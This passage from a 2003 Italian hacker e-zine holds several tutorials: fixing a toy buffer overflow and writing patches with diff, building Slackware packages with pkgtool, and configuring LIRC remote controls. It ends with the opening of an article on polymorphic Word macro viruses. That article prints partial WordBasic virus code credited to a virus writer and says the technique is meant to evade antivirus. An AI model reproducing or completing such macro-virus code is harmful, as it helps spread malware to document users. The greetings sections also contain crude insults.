| bash-2.05a$ gcc -o buff1 buff.c |
| bash-2.05a$ ./buff1 |
| Segmentation fault |
| bash-2.05a$ |
| |
| Ecco, come dicevo prima, il programmino ha un serio bug, ovvero và |
| in segmentation fault xchè la funzione strcpy copia la stringa |
| contenente tutte quei caratteri "c" che sono più dei 3 contenibili |
| dalla nostra variabile buf. |
| Prima cosa da fare per creare la patch, è rimediare al bug all'interno |
| del codice: |
| |
| ---- Codice Bug Risolto ----- |
| |
| #include <stdio.h> |
| int main() { |
| char buf[3]; |
| strncpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); |
| return 0; |
| } |
| |
| --- End Of buffok.c ----- |
| |
| bash-2.05a$ gcc -o buff buffok.c |
| bash-2.05a$ ./buff |
| bash-2.05a$ |
| |
| Come possiamo notare, il problema del buffer overflow è stato corretto |
| grazie a una piccola modifica, ovvero invece di strcpy, abbiamo |
| usato strncpy che ci dà la possibilità di copiare solo i primi 2 char |
| nell'area di memoria di destinazione. |
| Adesso che abbiamo corretto il bug, creeremo la nostra patch senza |
| l'aiuto di alcun tool. |
| Una volta capito il meccanismo potremmo anche automatizzare il tutto. |
| Prima di tutto facciamo un ls -l del file buff.c per vedere data |
| e ora dell'ultima modifica del sorgente. |
| Dopo di che annotiamoci data e ora attuale. |
| Apriamo il nostro editor testuale preferito e creiamo un file di |
| nome buffer.patch . |
| A questo punto inizializziamo la patch indicando il file da |
| patchare con relativi orari: |
| |
| Index: buff.c |
| =================================================================== |
| --- buff.c 2003/02/25 17:17:38 |
| +++ buff.c 2003/02/25 17:18:38 |
| |
| Contando dall'alto verso il basso del sorgente buff.c , notiamo che |
| l'istruzione da sostituire sta nella riga numero 4 del file di testo, |
| quindi specifichiamo la posizione: |
| |
| @@ -4 +4 @@ |
| |
| Per ultima cosa non ci resta che specificare l'istruzione vecchia da |
| togliere (con il meno) e quella nuova che corregerà l'errore |
| (con il più). |
| |
| -strcpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc"); |
| +strncpy |
| (buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); |
| return 0; |
| } |
| |
| Abbiamo messo anche: |
| |
| return 0; |
| } |
| |
| dopo le stringhe da sostituire come ulteriore punto di riferimento. |
| Adesso la patch è finita, salvate le modifiche e chiudeve il file. |
| Ricapitoliamo il tutto: |
| |
| --- Patch finita --- |
| |
| Index: buff.c |
| =================================================================== |
| --- buff.c 2003/02/25 17:17:38 |
| +++ buff.c 2003/02/25 17:18:38 |
| |
| @@ -4 +4 @@ |
| -strcpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc"); |
| +strncpy |
| (buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); |
| return 0; |
| } |
| |
| --- Fine Patch --- |
| |
| Adesso nella nostra dir di lavoro dobbiamo avere i file: |
| |
| 1) buff.c |
| 2) buff.patch |
| |
| Usiamo il comando patch: |
| |
| bash-2.05a$ patch -p0 <buff.patch |
| patching file buff.c |
| bash-2.05a$ gcc -o buff1 buff.c |
| bash-2.05a$ ./buff1 |
| bash-2.05a$ |
| |
| Il codice è stato patchato, e infatti il bug non si presenta più. |
| Controlliamo meglio: |
| |
| bash-2.05a$ cat buff.c |
| #include <stdio.h> |
| int main() { |
| char buf[3]; |
| strncpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); |
| return 0; |
| } |
| bash-2.05a$ |
| |
| Yes..modifiche effettivamente attuate ;) |
| Adesso che abbiamo capito come creare le patch,automatizziamo il tutto: |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| bash# cd Creazione_automatica_patch |
| bash# cat creazione_automatica_patch.txt |
| |
| Precedentemente abbiamo creato il sorgente buffok.c , non solo |
| per correggere il bug, ma anche xchp adesso ci resterà utile. |
| Mi raccomando, ricopiate di nuovo il sorgente buff.c altrimenti |
| rischiate di usare quello precedentemente patchato. |
| Per automatizzare il codice utilizzeremo un tool di nome "diff". |
| Diff è un programma che serve a confrontare 2 testi SIMILI, quindi |
| NON uguali, e su un terzo file scrive le righe differenti. |
| Esempio: |
| |
| bash-2.05a$ diff buff.c buffok.c > risultato.txt |
| bash-2.05a$ cat risultato.txt |
| 4c4 |
| < strcpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc"); |
| --- |
| > strncpy |
| (buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); |
| bash-2.05a$ |
| |
| In effetti i 2 file sono simili, ma hanno quelle righe differenti. |
| Penso sia chiaro adesso. |
| Come al solito darei uno sguardo al man(man diff): |
| |
| NAME |
| diff - find differences between two files |
| |
| SYNOPSIS |
| diff [options] from-file to-file |
| |
| Ma questo grazioso tool, fornisce la possibilità di creare |
| automaticamente una patch confrontando i 2 testi, nel nostro caso |
| i due codici sorgenti. |
| Come? |
| Con una semplice sintassi: |
| |
| bash-2.05a$ diff -uNr buff.c buffok.c > buff.patch |
| bash-2.05a$ cat buff.patch |
| --- buff.c 2003-02-28 22:21:11.000000000 +0100 |
| +++ buffok.c 2003-02-28 16:32:28.000000000 +0100 |
| @@ -4 +4 @@ |
| #include <stdio.h> |
| int main() { |
| char buf[3]; |
| -strcpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc"); |
| +strncpy |
| (buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); |
| return 0; |
| } |
| bash-2.05a$ |
| |
| Come possiamo notare la patch è stata sfornata alla perfezione, con la |
| differenza che ha incluso l'intero codice. |
| Proviamola: |
| |
| bash-2.05a$ patch -p0 <buff.patch |
| patching file buff.c |
| bash-2.05a$ cat buff.c |
| #include <stdio.h> |
| int main() { |
| char buf[3]; |
| strncpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); |
| return 0; |
| } |
| bash-2.05a$ |
| |
| E in effetti tutto torna :) |
| Vi riporto i significati delle flag che abbiamo usato con diff: |
| |
| -u Use the unified output format. |
| |
| -N |
| --new-file |
| In directory comparison, if a file is found |
| in only one directory, treat it as present but |
| empty in the oth

  
e directory. |
| |
| -r When comparing directories, recursively compare any |
| subdirectories found. |
| |
| |
| Direi che con questo è tutto. |
| Ho scritto questo testo dopo averne letto uno sempre a riguardo dello |
| stesso argomento, ma abbastanza sintetico, quindi ho deciso di |
| approfondire il tutto e renderlo comprensibile per la maggior parte |
| dei lettori(almno spero). |
| Per correttezza cito autore e titolo: |
| |
| +----------------------------------------+ |
| | Autore: [Evil] | |
| | Titolo: Patching for phun | |
| | Mail: evil@mojodo.it | |
| | Http://www.mojodo.it | |
| +----------------------------------------+ |
| |
| E' proprio tutto per oggi, un saluto dal vostro SPYRO |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| bash# cd /Ringraziamenti_e_saluti |
| bash# cat ringraziamenti_e_saluti.txt |
| |
| |
| Saluti: Bakunin(Mio grande maestro),AtlaWare,mR_bIs0n,Spawn, |
| BsTHaCk,Anubi ,D4rkSt4r ,jex,Silent,dibbellas,^maga^, |
| Radion,Warning,Terror,Gouranga,Blender,Prodigy, |
| Hiolz[83],Memorik,Hedo, |
| MrWolf,Screen_it,zapotecz, |
| Goony,Scire,Sulex,Floppino,Grungio,Fratak, |
| McGiver,AntiS,gouranga,LizDay,satz,cancerman, |
| ULCC,Spider2k,Ice'St0rm, |
| e tutti quelli che ho dimenticato di #phreak.it(scusatemi). |
| |
| I miei amici di azzurranet, in particolare: |
| [Net_Digger],^stan^,HomePack,nix,Resinaro |
| |
| Poi saluto anche tutti quelli dei tankcommandos,della hrn,pbk, |
| Maphias0ft, gli Spippolatori,in particolare: |
| il grande Master,Chrome,Brigante,RigorMortem,Vinx2o2o,fen0x, |
| DARKMAN,risk e tutti quelli che mi vogliono bene :) |
| |
| |
| Fuck to: MMMMM un gran vaffanculo all'amicizia fra ragazzi e ragazze!! |
| |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| |
| bash# cat end.c |
| |
| |
| |
| #include <stdio.h> |
| |
| void main(void){ |
| |
| printf("Anche per oggi è tutto dal vostro SPYRO\n"); |
| |
| printf("Ciaoooooooooooo\n"); |
| |
| } |
| |
| |
| bash# halt |
| |
| |
| |
| ATTENDERE:ARRESTO DEL SISTEMA IN CORSO...... |
| |
| |
| |
| ORA SI PUO' SPEGNERE IL COMPUTER! |
| |
| |
| |
| ahahaha scherzo ;) |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| _________________________________ |
| | |
| E-mail: spyro2600[at]yahoo.it | |
| | |
| Url: www.spyrohack.com | |
| _________________________________| |
| |
| |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ LiNUX #09 - 01/06/2003 |
| PKGT00L E SLACKWARE PACKAGES [spyro] 0x0A/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| Salve ragazzi, oggi tratteremo di un argomento utile di cui ho trovato |
| poco materiale in rete: |
| |
| Pkgtool e la costruzione degli appositi pacchetti |
| |
| Il perchè di questo testo? |
| Come dicevo sopra, si trova poco e nulla a riguardo e poi per chi usa |
| slackware torna molto utile usare pkgtool e creare i propi pacchetti in |
| modo da gestire meglio la propia box. |
| |
| PKGTOOL |
| |
| Pkgtool è un tool che serve a gestire i pacchetti della distribuzione |
| slackware. |
| Con pkgtool inoltre è possibile installare e disinstallare i vari |
| programmi senza alcun problema. |
| Questo programma può essere eseguito da console grazie alla sua |
| gradevole interfaccia creata con ncurser. |
| I pacchetti di slackware nn sono altro che binari compressati con |
| estensione .tgz |
| Questo tipo di file puo` avere i binari dei programmi gia` compilati |
| percio` pronti da usare, (lanciando semplicemente l'eseguibile) oppure |
| puo` contenere i sorgenti dei programmi, compilabili in un secondo |
| tempo. Pkgtool riconosce SOLTANTO i file pacchettati con l'estensione |
| TGZ per cui se aveste ad esempio dei programmi rpm o tar.gz questi non |
| verrebbero visualizzati nella lista. |
| Adesso analizziamo il menù che ci apparirà eseguendo il programma: |
| |
| |
| CURRENT: installa il package dalla directory di lavoro corrente. (cioe` |
| da una predefinita) |
| |
| OTHER: installa il package da una dir che decidiamo noi, ad esempio |
| copiando i tgz nella nostra homedir, dando come |
| path /home/spyro. |
| |
| FLOPPY: installa i tgz che trovano in un floppy. In genere se li trova |
| da solo,se cosi non fosse specifichiamo /dev/fd0. |
| |
| REMOVE: lista tutti i pacchetti TGZ installati nel sistema e ci chiede |
| quali vogliamo eliminare. Equivale a rpm -e pacchetto.rpm. |
| |
| VIEW: Mostra tutti i files che costituiscono il programma che stiamo |
| per installare. Molto comodo per vedere cosa ci manca. |
| |
| Pkgtool comprende altri comandi simili, di cui alcuni vedremo come |
| usarli in seguito, tipo: |
| |
| 1)installpkg |
| 2)removepkg |
| 3)upgradepkg |
| 4)makepkg |
| 5)explodepkg |
| |
| |
| 1)Installpkg gestisce l'installazione dei pacchetti Slackware. Perche' |
| l'installazione avvenga correttamente, occorre che i file siano stati |
| memorizzati con l'informazione delle directory a partire da quella |
| principale, la radice, perche' `installpkg' installa proprio a |
| partire dalla directoryradice. |
| |
| 2)Remopkg gestisce la disinstallazione dei pacchetti applicativi |
| installati secondo lo standarddella distribuzione Slackware. |
| Se viene utilizzata l'opzione `-warn', l'operazione viene soltanto |
| simulata. |
| |
| 3)Upgradepkg, aggiorna un pacchetto, disinstallando prima il pacchetto |
| vecchio e inserendo dopo quello nuovo.Se il nome del pacchetto e` lo |
| stesso, non richiede l'indicazione del nome nuovo. |
| |
| 4)Makepkg gestisce la creazione di archivi `.tgz' (tar+gzip) secondo lo |
| standard dei pacchettiapplicativi della distribuzione Slackware. |
| |
| 5)Explodepkg gestisce l'estrazione di archivi tar+gzip (`.tar.gz' o |
| `.tgz') nella directory corrente. |
| |
| SLACKWARE'S PACKET |
| |
| Per creare un paccketto per slackware abbiambo bisogno: |
| |
| 1) Sorgenti del programma che vogliamo rendere pacchetto per slack |
| |
| 2) Usare tool: makepkg |
| |
| 3) Usare tool: installpkg |
| |
| |
| L'esempio che terrò adesso si baserà sul programma ncftp. |
| Un piccolo client FTP, niente di eccezzionale. |
| Andate sul sito: |
| |
| www.freshmeat.net |
| |
| e cercate ncftp, altrimenti potete trovarlo al seguente url: |
| |
| http://www.ncftp.com/download/ |
| |
| Mi baserò sulla versione 3.1.4, ultima rilasciata al momento della |
| stesura di questo testo. |
| Il file dovrebbe avere le dimensioni di circa 480Kb . |
| Adesso che abbiamo tutto il materiale cominciamo: |
| |
| Prima di tutto creiamo un dir temporanea di lavoro, questo xchè |
| compileremo il programma da impacchettare al suo interno. |
| |
| Ad esempio: mkdir /tmp/ncftp |
| |
| (Quasi mi scordavo....creare pacchetti, disinstallarli, installarli, |
| richiede permessi di root) |
| |
| Con questo comando abbiamo creato la nostra dir di lavoro. |
| Adesso scompattiamo i sorgenti di ncftp compressi: |
| |
| tar xvfz ncftp-3.1.4-src.tar.gz |
| |
| e poi: |
| |
| cd ncftp-3.1.4/ |
| |
| Adesso, cosa da fare sempre prima di avviare l'installazione di un |
| programma, leggiamo il readme per eventuali avvertenze o dipendenze. |
| Dopo lanciamo lo script di configure, con lopzione --help . |
| Questo per gestire la configurazione di esso: |
| |
| ./configure --help |
| |
| |
| Usage: configure [options] [host] |
| Options: [defaults in brackets after descriptions] |
| Configuration: |
| --cache-file=FILE cache test results in FILE |
| --help print this message |
| --no-create do not create output files |
| --quiet, --silent do not print `checking...' messages |
| --version print the version of autoconf that created |
| configure |
| Directory and file names: |
| --prefix=PREFIX install architecture-independent files in |
| PREFIX |
| [/usr/local] |
| --exec-prefix=EPREFIX install architecture-dependent files in |
| EPREFIX |
| [same as prefix] |
| --bindir=DIR user executables in DIR [EPREFIX/bin] |
| --sbindir=DIR system admin executables in DIR [EPREFIX/sbin] |
| --libexecdir=DIR program executables in DIR [EPREFIX/libexec] |
| --datadir=DIR read-only architecture-independent data in DIR |
| [PREFIX/share] |
| --sysconfdir=DIR read-only single-machine data in DIR |
| [PREFIX/etc] |
| --sharedstatedir=DIR modifiable architecture-independent data in |
| DIR [PREFIX/com] |
| --localstatedir=DIR modifiable single-machine data in DIR |
| [PREFIX/var] |
| --libdir=DIR object code libraries in DIR [EPREFIX/lib] |
| --includedir=DIR C header files in DIR [PREFIX/include] |
| --oldincludedir=DIR C header files for non-gcc in DIR |
| [/usr/include] |
| --infodir=DIR info documentation in DIR [PREFIX/info] |
| --mandir=DIR man documentation in DIR [PREFIX/man] |
| --srcdir=DIR find the sources in DIR [configure dir or ..] |
| --program-prefix=PREFIX prepend PREFIX to installed program names |
| --program-suffix=SUFFIX append SUFFIX to installed program names |
| --program-transform-name=PROGRAM |
| run sed PROGRAM on installed program names |
| Host type: |
| --build=BUILD configure for building on BUILD [BUILD=HOST] |
| --host=HOST configure for HOST [guessed] |
| --target=TARGET configure for TARGET [TARGET=HOST] |
| Features and packages: |
| --disable-FEATURE do not include FEATURE (same as |
| --enable-FEATURE=no) |
| --enable-FEATURE[=ARG] include FEATURE [ARG=yes] |
| --with-PACKAGE[=ARG] use PACKAGE [ARG=yes] |
| --without-PACKAGE do not use PACKAGE (same as --with-PACKAGE=no) |
| --x-includes=DIR X include files are in DIR |
| --x-libraries=DIR X library files are in DIR |
| --enable and --with options recognized: |
| --disable-ccdv disable use of ccdv program in Makefiles |
| --without-curses do not try to find and use the curses library |
| --enable-debug enable debugging symbols |
| --without-ncurses do not try to find and use the ncurses library |
| --with-socks5 try to find and use the SOCKS5 library |
| |
| |
| Come possiamo notare ci sono tante opzioni che possiamo dare al |
| configure, ma a noi interessain particolare quella: |
| |
| --prefix=PREFIX install architecture-independent files in |
| PREFIX |
| |
| Vi state chiedendo a cosa serve? |
| L'opzione "--prefix" è molto comune nei programmi distribuiti |
| da sorgente e serve a specificare un PATH di installazione |
| personalizzato. |
| Nel caso stiate per compilare un programma che è solo una versione |
| nuova di un programma già in vostro possesso, vi consiglio di |
| controllare in quale path si trova quello installato, in modo tale |
| usarlo come argomento per "--prefix" e rendere più facile l'eventuale |
| aggiornamento successivamente. |
| |
| Tutto chiaro? |
| Spero di si. |
| Diamo il comando: |
| |
| ./configure --prefix=/tmp/ncftp |
| |
| Quando avrà finito la configurazione, e avrà creato il Makefile, diamo |
| il solito comando di compilazione: |
| |
| make && make install |
| |
| (se state compilando da user nn privilegiato, date make e poi da root |
| make install) |
| |
| Finita la compilazione, troveremo i nostri bei binari nella |
| dir /tmp/ncftp |
| Entriamo, e prepariamoci all'archiviazione e compressione in .tgz |
| |
| cd /tmp/ncftp |
| |
| e poi: |
| |
| makepkg ncftp-3.1.4.tgz |
| |
| A questo punto makepkg provvederà a creare il pacchetto per slackware. |
| Installerà anche dei link simbolici se necessario, ma per |
| sicurezza,prima di dare il comando makepkg, controlliamo se tutti i |
| file e licenze varie siano contenuti nella nostra directory temporanea |
| di lavoro. |
| Nel caso vogliamo mettere dei comandi aggiuntivi, tipo un ulteriore |
| compilazione o una configurazione di etc, possiamo farlo creando |
| all'interno della dir di lavoro lo script di nome: |
| |
| doinst.sh |
| |
| Il pacchetto prima di essere archiviato, vi farà una domanda del tipo: |
| |
| |
| Slackware package maker, version 2.0. |
| |
| Searching for symbolic links: |
| |
| No symbolic links were found, so we won't make an installation script. |
| You can make your own later in ./install/doinst.sh and rebuild the |
| package if you like. |
| |
| This next step is optional - you can set the directories in your package |
| to some sane permissions. If any of the directories in your package have |
| special permissions, then DO NOT reset them here! |
| |
| Would you like to reset all directory permissions to 755 (drwxr-xr-x) |
| and directory ownerships to root.root ([y]es, [n]o)? |
| |
| |
| Adesso, a seconda delle vostre esigenze, risponderete yes o no per |
| settare i permessi adeguati. |
| |
| Appena fatta la nostra scelta verrà finalizzato il pacchetto: |
| |
| |
| Creating tar file ncftp-3.1.4.tar... |
| |
| ./ |
| bin/ |
| bin/ncftp |
| bin/ncftpget |
| bin/ncftpput |
| bin/ncftpls |
| bin/ncftpbatch |
| bin/ncftpspooler |
| bin/ncftpbookmarks |
| etc/ |
| man/ |
| man/man1/ |
| man/man1/ncftp.1 |
| man/man1/ncftpget.1 |
| man/man1/ncftpput.1 |
| man/man1/ncftpbatch.1 |
| man/man1/ncftpspooler.1 |
| man/man1/ncftpls.1 |
| |
| |
| Gzipping ncftp-3.1.4.tgz... |
| |
| Renaming ncftp-3.1.4.tar.gz to ncftp-3.1.4.tgz... |
| |
| Package creation complete. |
| |
| |
| Benissimo, abbiamo creato il nostro primo pacchetto per slackware!! |
| Portiamo fuori dalla dir. temporanea il nostro pacchetto: |
| |
| mv ncftp-3.1.4.tgz ../ncftp-3.1.4.tgz |
| |
| Ora il nostro pacchetto è fuori dalla dir temporanea. |
| Cosa ci resta da fare? |
| Testarlo no? vediamo se funziona. |
| Per installare un pacchetto slackware, si deve usare il comando: |
| |
| installpkg |
| |
| quindi: |
| |
| installpkg ncftp-3.1.4.tgz |
| |
| l'output, scanso modifiche, sarà: |
| |
| Installing package ncftp-3.1.4... |
| PACKAGE DESCRIPTION: |
| |
| e ci tornerà il prompt dei comandi della shell. |
| Se l'output sarà simile a quello che ho riportato di sopra, beh..il |
| nostro paccheto è stato installato senza problemi. |
| |
| Diamo il comando: ncftp |
| |
| e dovrebbe partire il client ftp: |
| |
| spyro@darkstar:~$ ncftp |
| NcFTP 3.1.4 (Jul 02, 2002) by Mike Gleason (ncftp@ncftp.com). |
| ncftp> |
| |
| Funziona ;))) |
| |
| Ora che funziona,se nn ve ne fate di nulla potete rimuoverlo eseguento |
| pkgtool e scegliendo nel menu: remove |
| Altrimenti potete dare il comando: |
| |
| removepkg ncftp-3.1.4.tgz |
| |
| Removing package /var/log/packages/ncftp-3.1.4... |
| Removing files: |
| --> Deleting /bin/ncftp |
| --> Deleting /bin/ncftpbatch |
| --> Deleting /bin/ncftpbookmarks |
| --> Deleting /bin/ncftpget |
| --> Deleting /bin/ncftpls |
| --> Deleting /bin/ncftpput |
| --> Deleting /bin/ncftpspooler |
| --> Deleting /man/man1/ncftp.1 |
| --> Deleting /man/man1/ncftpbatch.1 |
| --> Deleting /man/man1/ncftpget.1 |
| --> Deleting /man/man1/ncftpls.1 |
| --> Deleting /man/man1/ncftpput.1 |
| --> Deleting /man/man1/ncftpspooler.1 |
| --> Deleting empty directory /man/man1/ |
| --> Deleting empty directory /man/ |
| |
| Puff...scomparso. |
| |
| |
| RIEPILOGO E COMANDI: |
| |
| Slackware version: 8.1 |
| |
| Pkgtool version: Quelli che installa di default slack 8.1 |
| |
| Ncftp: 3.1.4 |
| |
| |
| |
| Anche per oggi è finita... |
| |
| Un saluto dal vostro SPYRO |
| |
| _________________________________ |
| | |
| E-mail: spyro2600[at]yahoo.it | |
| | |
| Url: www.spyrohack.com | |
| _________________________________| |
| |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ LiNUX #09 - 01/06/2003 |
| LiRC [BrNoCrIsT] 0x0B/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| ........... LIRC ...............by ....... BrNoCrIsT ................. |
| |
| |
| Siete pigri? Volete sfruttare al meglio quello che avete? ......LIRC fa |
| per voi. (sembra uno spot pubblicitario :)) ) |
| |
| Se avete un dispositivo ad infrarossi collegato al vostro PC e usate |
| linux siete a cavallo :)) possiamo utilizzarlo tranquillamente senza |
| problemi. |
| |
| A differenza di altri SO come Windows (tanto di rispetto), Linux tratta |
| questo dispositivo come una periferica di input un po particolare. |
| Quindi possiamo utilizzarlo per operazioni piu' disparate: eseguire |
| comandi sul sistema, controllare il mouse o addirittura scrivere |
| documenti di testo. |
| Tutto cio' e' dovuta dall'architettura client/server con la quale e' |
| stata costruita l'applicazione, si tratta di caricare un programma |
| centralizzato (server) ceh si occupa di interpetrare i segnali |
| elettrici provenienti dal dispositvo remoto, e di tradurli in eventi |
| che verranno poi comunicati ai vari programmi (client). Tutto cio' va |
| sotto il nome di LIRC (Linux Infrared Remote Control). Dalla sua |
| nascita numerosi programmi hanno potuto arricchirsi di questo supporto: |
| XMMS, XawTV, GnomeRadio, ecc. |
| |
| Installarlo e' molto semplice, basta evitare di passare per sistemi di |
| pacchettizzazione come rpm: la configurazione e l'installazione dai |
| sorgenti risulta piu' semplice ed efficace, andiamo in |
| http://www.lirc.org scarichiamo il file e decomprimiamolo e seguite le |
| mie istruzioni: |
| |
| tar xjf lirc-0.6.5.tar.bz2 && cd lirc-0.6.5 && ./setup.sh |
| |
| Adesso ci troveremo di fronta ad un installazione grafica. |
| Impostiamo con attenzione i valori nella prima sezione in base al nostro |
| controller remoto: conseriamo invece, nella sezione seguente le |
| impostazioni predefinite. Al terzo passo realizzera' al configurazione |
| scelta, al termine possiamo compilare il tutto con il solito: |
| |
| make && make install .... chiaramente da root. |
| |
| L'ultimo passo da compiere trovare il file di configurazione con cui |
| LIRC riconosce i tasti del nostro telecomando. Per vedere se il nostro |
| modello di telecomando e' compatibile basta vedere nella dir " |
| remotes/ "
e controllare se c'e' il modello del nostro telecomando e |
| copiare il file di configurazione adatto in " /etc/ " . Giunto a qui il |
| nostro sistema e' pronto a gestire il telecomando, ogni volta che |
| vorremo utilizzarlo dovremo avviare LIRC con il seguente comando da |
| root : |
| |
| lircd -p 666 -d /dev/lirc |
| |
| Adesso l'ultimo passo, forse il piu' difficile, istruire il demone |
| lircd su come rispondere alla pressione dei diversi tasti alle varie |
| applicazioni. Non e' stato fatto uno standard proprio perche' esistono |
| molti tipi di telecomando con tasti differenti. |
| |
| Abbiamo visto che LIRC si comporta come un vero server, una volta |
| avviato si mette in attesa di connessioni locali o remote. |
| vediamo come funziona... All'avvio, lircd apre i file di periferica |
| contenuti in " /dev/lirc " corrispondenti al telecomando, e grazie |
| a " /etc/lircd.conf " traduce gli identificaivi elettrici dei tasti |
| ricevuti da " /dev/lirc ". |
| Come abbiamo visto installare LIRC non e' sufficiente per vedere |
| funzionare il telecomando con tutte le applicazioni. |
| Per ognuna infatti, e' necessaria una configurazione che indichi al |
| server su cosa e come tenerla aggiornata. |
| Facciamo un po di pratica prendiamo un telecomando Pinnacle PCTV (e' |
| l'unico che ho trovato nel negozio di mio cugino :) ) |
| Supponiamo che ci sara' sufficiente sostituire i nomi dei tasti del |
| dispositivo in base al contenuto del file " /etc/lircd.conf ". Per |
| quanto riguarda il software provero' a fornire il supporto remoto a |
| MPlayer e XMMS. |
| Iniziamo.... Prendiamo il nostri editor preferito (VI r0x) :) e creiamo |
| il file ".lircrc" nella notra home. Leggendo qualche documentazione |
| vedo che MPlayer si identifica verso lircd con il nome "mplayer_lirc" e |
| che le operazioni che permette al controllo remoto sono: PAUSE, QUIT, |
| RWND, FWD, INCVOL e DECVOL. |
| Una volta scelti i tasti ad associare a queste operazioni mettiamo mano |
| all'editor. Inseriamo: |
| |
| begin |
| remote = * |
| prog = mplayer_lirc |
| button = power |
| config = QUIT |
| repeat = 0 |
| end |
| |
| La prima ed ultima riga fungono da delimitatori di sezione. |
| Vediamo gli altri campi: |
| |
| - remote : specifica a quale controller remoto si riferisce la sezione, |
| nel caso in cui sul sistema ne siano presenti piu' di |
| uno. "*" estende la validita' della sezione a tutti i |
| controller presenti. |
| |
| - prog : E' il campo piu' importante, in quanto segnala al demone LIRC |
| il destinatario del messaggio da spedire. Vediamo in questo |
| caso che MPlayer non si identifica con il suo nome ma |
| con "mplayer_lirc". |
| |
| - button: Specifica il tasto alla pressione del quale avvisa il |
| programma. |
| |
| - config: E' il campo ceh specifica a LIRC quale messaggio spedire |
| all'applicazione prog alla pressione del tasto botton. |
| |
| - repeat: indica a LIRC come si deve comportare se il tasto viene tenuto |
| premuto il valore 0 indica che deve ignorare gli impulsi |
| successivi al primo, i valori n positivi indicano di ripetere |
| il comando dopo n secondi, questo e' molto comodo per la |
| funzione "alza_volume" e "abbassa_volume". |
| |
| |
| ------Sezione MPlayer--------- |
| | | |
| | begin | |
| | remote = * | |
| | prog = mplayer_lirc | |
| | button = power | |
| | config = QUIT | |
| | repeat = 0 | |
| | end | |
| | | |
| | begin | |
| | remote = * | |
| | prog = mplayer_lirc | |
| | button = Vol+FF | |
| | config = FWD | |
| | end | |
| | | |
| | begin | |
| | remote = * | |
| | prog = mplayer_lirc | |
| | button = Vol-Rew | |
| | config = RWND | |
| | end | |
| ------------------------------ |
| |
| |
| Per quanto riguarda XMMS il discorso e' un po piu' complesso (ma ce la |
| faremo lo stesso :)) ) abbiamo bisogno del plug-in (reperibile in |
| www.lirc.org) con il nome di "lirc-xmms", lo si installa con al solita |
| procedura, il plug-in serve per mettere a disposizioni innumerevoli |
| azioni: STOP, PLAY, PAUSE, NETX, PREV, SHUFFLE, REPEAT, FWD[sec], RWD |
| [sec], VOL_UP[%], VOL_DOWN[%], BAL_LEFT[%], BAL_RIGHT[%], BAL_CENTER, |
| PLAYLIST_CLEAR, ZERO, ONE, TWO, THREE,..., QUIT. |
| In questa lista abbiamo visto dei parametri strani come "[sec]" |
| e "[%]", adesso ve li spiego :) Il parametro [sec] definisce il tempo |
| in secondi da accelerare ad ogni messaggio di "avanti" o "indietro", |
| mentre il campo [%] definisce la procedura di aumento o diminuizione |
| del volume. Adesso ci e' sufficiente sapere che per XMMS si identifica |
| presso LIRC con "xmms". |
| |
| |
| |
| |
| |
| ---------Sezione XMMS------------- |
| | | |
| | begin | |
| | remote = PinnacleSySPCTVRemote | |
| | prog = xmms | |
| | button = Chan+Play | |
| | config = PLAY | |
| | config = PAUSE | |
| | end | |
| | | |
| | begin | |
| | remote = PinnacleSySPCTVRemote | |
| | prog = xmms | |
| | repeat = 1 | |
| | button = Vol+FF | |
| | config = FWD 3 | |
| | end | |
| | | |
| | begin | |
| | remote = PinnacleSySPCTVRemote | |
| | prog = xmms | |
| | button = quit | |
| | config = QUIT | |
| | end | |
| ---------------------------------- |
| |
| |
| ________________________________T_N_X________________________________ |
| |
| |
| Un grazie specialmente a Syscall che mi ha dato l'idea di questo |
| tutorial, poi grazie {D4nG3r}, Resinaro, e4m, Virgeles, Nik, [Elektro] |
| (che mi ha incitato a fare il tutorial), Pit, Parantido e a #mojodo |
| #coding #XaLug e #campaniahack.......tnx amici |
| |
| |
| -------FuK------- |
| |
| Mephisto, Bossi, Berlusconi, e il professore di matematica discreta |
| all'uni.........fukkatevi :) |
| |
| |
| BrNoCrIsT |
| |
| brnocrist@libero.it |
| |
| http://coding.cjb.net |
| |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 |
| PLUS #3 [Mastro] 0x0C/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| Ancora word, ancora macro, ancora approfondimenti. |
| |
| --- POLIFORMICI --- |
| |
| Per i pochi che non lo sapessero il poliformismo consiste nel cambiare |
| parti di codice così che un eventuale antivirus non dia problemi |
| (spiegazione molto di merda..) ;) |
| Iniziamo dal nome della macro, questo è di The Nightmare Joker: |
| |
| ----------------------------------------- |
| Sub MAIN |
| On Error Goto Done |
| |
| A$ = FileName$() |
| If A$ = "" Then Goto Finish |
| |
| If VInstalled = 0 Then |
| Run1 |
| Run2 |
| FileSaveAll 1, 1 |
| Else |
| Goto Done |
| End If |
| |
| Done: |
| A$ = FileName$() |
| If A$ = "" Then |
| Goto Finish |
| Else |
| Insert " " |
| End If |
| |
| Finish: |
| MsgBox "polymorph", - 8 'Una MessageBox non |
| guasta mai |
| End Sub |
| |
| Sub Run1 |
| X$ = Fun$(F$, G$, H$, J$) 'Chiama la function Fun |
| Y$ = Fun$(F$, G$, H$, J$) 'Chiama la function Fun |
